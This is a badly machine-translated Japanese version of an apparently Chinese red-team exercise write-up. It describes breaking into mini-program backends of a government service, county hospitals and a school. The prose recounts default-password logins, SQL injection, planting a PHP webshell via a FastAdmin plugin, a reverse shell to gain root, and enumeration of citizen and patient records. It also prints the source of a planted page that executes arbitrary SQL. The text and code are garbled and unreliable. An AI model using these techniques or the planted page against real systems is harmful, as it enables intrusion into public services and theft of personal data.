0x00はじめに
は、特定の場所でHVVを終了したばかりで、ミニプログラムは、低コストで使いやすい情報システムとして、HVVの新しいタイプの重要なブレークスルーターゲットになりました。次のケースはすべて、誰もが学ぶためのミニプログラムからのものです。
0x01ケース1特定の政府問題システム
1。弱いパスワードは背景
に入りますミニプログラムをクリックし、市民サービスを入力し、ミニプログラムドメイン名をキャッチし、管理者の背景に直接アクセスします。次のページはFastAdminフレームワークです。
常に落とし穴がありました。ログインするとパスワードが無効です。あきらめたいときは、前の手順に戻ってログインしていることを思い出させてください。疑問に思います。システムがログインした後にトークンが更新されることがわかりました。これにより、前のトークンが次のログインに使用されます。そうしないと、パスワードが無効になります。したがって、ネットワークまたはシステム自体に遅延があり、その結果、ログイン操作が正しいトークンで正常に使用されないようになります。この問題を発見したとき、私はadmin/123456によって背景にログインしました。
約20,000の市民情報と数百の管理者アカウントが含まれており、すべての管理者アカウントのアカウント名とパスワードはAdmin/123456です。県レベルの都市HVVのケース4システムに似ています|コレクションへの不正アクセス。 (くそ)
2。 SQL注入はどこにでもあります
フロントエンドのビジネスオフィスには、次のパッケージがあります。デバッグは閉じられておらず、データベースアカウント名とパスワードが公開されます。このSQL注入はあまりにも明白ですが、現時点ではデータベースアカウントの秘密の喜びにあり、SQL注入をしませんでした。ただし、このデータベースは外部ではなく、ローカルでのみ接続することができますが、非常に迷惑です。
管理者をバックグラウンドで表示するときに、遅延インジェクションが存在します
3。コマンドの実行は、サーバーとデータベースを削除します
FastAdminであるため、シェルを取得するには多くの方法があります。今回は、オンラインコマンドプラグインの脆弱性を使用して、1.1.0でのみ利用可能なPHP WebShellに書き込みます。
ただし、このシステムは2人で開いており、プラグイン用の場所はまったくありません。オンラインでプラグインのスプライシングページを検索しました。
ディレクトリは: /addon?ref=addtabsです
プラグインのディレクトリは /addon /command?ref=addtabsである必要がありますが、ページは存在しません。ルートが設定されていないと思ったので、チームメイトがプラグインを直接コマンドする記事、つまりディレクトリは /コマンドですか?ref=addtabsを見つけるまで、これを禁止しました。
クリックしてAPIドキュメントを1回クリックして生成します。ファイルはPHPで、タイトルはトロイの木馬として書かれています。 Ice Scorpion Horseのみがそれをテストできます。以前にも同様のケースがありました。
トロイの木馬をうまく接続します
マレーシアのNCを循環させて電力を増やすことにより、シェルはクラウドサーバーにリバウンドされ、ルート許可を取得します。
マレーシアは、SQLステートメントを実行するときにエラーと文字化けコードを報告します。
データベースアカウントのパスワードをまだ覚えています。 SQL実行ページのPHPファイルを自分で記述することにより、データベースに接続しました。データベースの権限を取得したことを証明します。
コードは次のとおりです。
HTML
頭
タイトルはMySQLステートメント/タイトルを実行します
/頭
体
H1EXECUTE MYSQLステートメント/H1
form method='post' action=''
textarea name='sql_statement' rows='5' cols='50 'プレースホルダー=' mysqlステートメント '/textareaを入力してください
br
入力タイプ='送信'値='実行'
/形状
?php
//フォームが送信されたかどうかを確認します
if($ _server ['request_method']==='post'){
//ユーザーが入力したMySQLステートメントを取得します
$ sql_statement=$ _post ['sql_statement'];
//mysqlデータベースに接続します
$ host='localhost';
$ username='';
$ password='';
$ database='';
$ connection=mysqli_connect($ host、$ username、$ password、$ database);
//mysqlクエリを実行します
$ result=mysqli_query($ connection、$ sql_statement);
//クエリの結果を確認します
if($ result){
//クエリの結果をエコーします
Echo 'H2クエリ結果: /h2';
while($ row=mysqli_fetch_assoc($ result)){
エコー '';
print_r($ row);
エコー '';
}
} それ以外{
//エラーメッセージを表示します
Echo 'H2エラー: /H2';
エコー「P」。 mysqli_error($ connection)。 '/p';
}
//データベース接続を閉じます
mysqli_close($ connection);
}
?
/体
/HTML
0x02ケース2郡病院データベース
1.SQLインジェクションにはDBA
が必要です病院のSQL注入は公開口座登録にあります。ログインすると、登録レコードをクリックして、患者IDでパッケージをキャッチしました。
単一の引用、エラー順序を追加しました
SQLMapで直接実行できないことがわかりましたが、注射は存在します。 ASP.NETフレームワークを発見することは、相手のシステムがWindowsであることを意味します。
それぞれデータベースMySQL、Oracle、およびMSSQLを指定します。最後に、注入はMSSQL中になくなり、DBA許可です。
xp_cmdshellはコマンドを実行できると思いましたが、残念ながらこれは彼です。私は保護を受けました、そして、私はそれをどのようにセットアップしてもコマンドを実行することができないので、私はターゲットの変更をあきらめました。
0x03ケース3中学校の訪問者システム
1。不正 +情報漏れ
ミニプログラムを開き、パッケージをキャッチし、インタビュー対象者のすべての情報を直接キャプチャします。 1つのインターフェイスはアクセスする権限がありません。
ログインする前のこのようなものなので、ログインすることをお勧めします。
ログインして、アクセスアプリケーションを追加しました
アクセスアプリケーションレコードを表示するときにパッケージをキャッチします
次のリンクをつかみます:app/visitor/getvisitorinfo?viid=1。数百の訪問者情報と訪問者の記録をトラバースすることで入手できます。それは並行して並行していると考えられており、最後に、アクセスが許可されていないことさえ、検証する許可がないことがわかりました。
0x04ケース4見逃した
このケースは非常に面白いです。私はミニプログラムを探していました。 1つの単語で小さなプログラムを表示しました。注意深く見ずに入力し始めました。郡の病院でもあります。
これは、流行中に核酸試験の予約のために特別に作成されたミニプログラムである必要があります。
1。並列オーバーリーチ +情報漏れ
ログインするときにIDカード名が一致しない場合、検証に合格することはできません。つまり、内部のIDカード情報はすべて現実です。ログインすると、ユーザーIDを使用して機能を探すことに慣れていて、医療訪問者リストをクリックしてパケットをキャッチします。
電話、ID、名前、性別を見つけました
IDを変更して、他の人の情報を表示します。
2。並列オーバーライドSQL注入
習慣的に単一の引用符を追加し、エラーを直接報告します。ページにはSQLエラーが表示されます。これは対応するものではありませんか? EDU-SQLインジェクションケースは、最後の要約を共有しています。 SQL注入が並列オーバーステップで存在する可能性が高いです。しかし、私は間違いを犯し、許可を持っていなかったので、私は停止してあきらめ、将来の修正のためにプラットフォームに引き渡しました。
オリジナルリンク:https://forum.butian.net/share/2400
Recommended Comments